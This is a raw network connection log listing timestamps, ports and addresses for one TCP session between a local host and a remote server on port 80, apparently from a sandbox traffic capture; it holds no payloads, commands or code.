Oct 21, 2024 08:47:29.093224049 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:29.093234062 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:29.093259096 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:29.093271017 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:29.093288898 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:29.093307972 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:29.093321085 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:29.093334913 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:29.093354940 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:29.093369007 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:29.093403101 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:29.131012917 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:29.131084919 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:29.131092072 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:29.131125927 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:29.131129026 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:29.131166935 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:29.202461004 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:29.202534914 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:29.202617884 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:29.202636003 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:29.202681065 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:29.202694893 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:29.202739000 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:29.202755928 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:29.202795982 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:29.202811956 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:29.202821016 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:29.202862024 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:29.202863932 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:29.202910900 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:29.202917099 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:29.202950954 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:29.202961922 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:29.202984095 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:29.202997923 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:29.203017950 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:29.203033924 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:29.203063965 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:29.203071117 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:29.203100920 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:29.203119993 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:29.203146935 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:29.203155994 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:29.203188896 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:29.203206062 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:29.203234911 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:29.203241110 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:29.203274965 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:29.203289032 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:29.203319073 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:29.203324080 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:29.203370094 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:29.203373909 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:29.203428030 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:29.203469038 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:29.203497887 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:29.203521013 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:29.203543901 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:29.203551054 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:29.203583956 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:29.203608990 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:29.203618050 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:29.203629971 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:29.203663111 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:29.203674078 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:29.203706026 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:29.203723907 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:29.203738928 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:29.203753948 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:29.203768015 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:29.203782082 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:29.203816891 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:29.203818083 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:29.203854084 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:29.203866005 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:29.203900099 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:29.203903913 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:29.203938007 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:29.203953981 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:29.203969002 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:29.203985929 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:29.204004049 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:29.204014063 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:29.204036951 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:29.204051971 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:29.204077959 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:29.204087973 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:29.204111099 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:29.204128027 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:29.204144001 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:29.204159021 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:29.204175949 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:29.204190969 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:29.204211950 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:29.204226017 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:29.204243898 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:29.204260111 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:29.204278946 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:29.204289913 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:29.204313040 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:29.204325914 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:29.204345942 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:29.204360008 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:29.204377890 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:29.204396009 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:29.204413891 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:29.204425097 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:29.204447031 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:29.204457045 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:29.204482079 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:29.204493999 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:29.204514027 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:29.204529047 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:29.204547882 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:29.204562902 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:29.204581022 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:29.204596043 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:29.204621077 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:29.204627991 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:29.204654932 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:29.204669952 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:29.204689026 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:29.204708099 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:29.204722881 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:29.204740047 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:29.204758883 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:29.204770088 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:29.204788923 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:29.204806089 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:29.204833984 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:29.210714102 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:29.210767031 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:29.210773945 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:29.210802078 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:29.210812092 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:29.210836887 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:29.210843086 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:29.210872889 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:29.210881948 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:29.210922003 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:29.211431980 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:29.211462021 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:29.211484909 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:29.211502075 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:29.211514950 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:29.211548090 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:29.211565018 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:29.211591005 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:29.211601973 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:29.211652040 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:29.211656094 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:29.211708069 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:29.211709023 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:29.211745024 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:29.211754084 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:29.211777925 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:29.211793900 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:29.211810112 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:29.211838961 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:29.211843967 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:29.211860895 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:29.211894989 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:29.211895943 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:29.211929083 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:29.211947918 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:29.211970091 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:29.211977959 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:29.212014914 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:29.212024927 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:29.212060928 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:29.212064981 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:29.212115049 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:29.212117910 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:29.212166071 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:29.212167978 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:29.212203026 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:29.212214947 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:29.212234974 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:29.212246895 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:29.212269068 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:29.212279081 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:29.212301970 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:29.212315083 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:29.212337017 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:29.212352037 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:29.212371111 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:29.212385893 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:29.212407112 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:29.212407112 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:29.212440968 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:29.212456942 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:29.212483883 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:29.212491989 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:29.212528944 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:29.212560892 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:29.212580919 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:29.212580919 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:29.212662935 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:29.212663889 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:29.212698936 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:29.212707996 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:29.212728977 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:29.212745905 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:29.212762117 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:29.212779999 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:29.212798119 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:29.212807894 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:29.212837934 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:29.212855101 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:29.212876081 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:29.212883949 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:29.212909937 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:29.212924004 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:29.212944984 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:29.212965012 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:29.212986946 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:29.250473022 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:29.250529051 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:29.250544071 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:29.250577927 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:29.250588894 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:29.250614882 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:29.250627995 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:29.250659943 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:29.324048042 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:29.324109077 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:29.324125051 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:29.324170113 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:29.324182034 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:29.324217081 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:29.324228048 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:29.324256897 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:29.324269056 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:29.324302912 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:29.324330091 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:29.324336052 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:29.324340105 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:29.324378014 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:29.324392080 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:29.324424028 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:29.324436903 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:29.324465990 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:29.324476004 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:29.324507952 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:29.324522018 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:29.324547052 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:29.324558020 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:29.324592113 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:29.324600935 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:29.324635029 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:29.324644089 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:29.324676037 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:29.324690104 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:29.324708939 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:29.324745893 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:29.324790001 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:29.324798107 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:29.324831009 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:29.324841022 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:29.324867964 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:29.324870110 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:29.324903965 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:29.324913025 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:29.324937105 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:29.324942112 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:29.324971914 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:29.324979067 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:29.325005054 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:29.325012922 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:29.325038910 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:29.325046062 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:29.325073004 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:29.325079918 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:29.325109005 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:29.325114012 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:29.325143099 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:29.325151920 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:29.325177908 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:29.325186968 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:29.325212002 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:29.325217962 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:29.325248957 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:29.325254917 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:29.325283051 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:29.325293064 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:29.325318098 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:29.325325012 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:29.325351954 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:29.325361013 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:29.325386047 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:29.325396061 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:29.325422049 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:29.325426102 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:29.325462103 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:29.325463057 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:29.325495958 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:29.325500965 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:29.325529099 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:29.325536966 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:29.325562000 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:29.325572014 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:29.325597048 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:29.325601101 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:29.325629950 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:29.325638056 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:29.325664043 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:29.325674057 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:29.325697899 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:29.325709105 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:29.325731993 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:29.325738907 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:29.325766087 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:29.325773001 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:29.325799942 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:29.325808048 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:29.325834036 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:29.325845003 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:29.325867891 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:29.325877905 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:29.325902939 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:29.325910091 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:29.325937033 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:29.325941086 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:29.325969934 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:29.325975895 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:29.326009035 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:29.326014996 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:29.326050043 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:29.330208063 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:29.330262899 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:29.330266953 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:29.330404043 CEST	49732	80	192.168.2.4	147.45.44.221
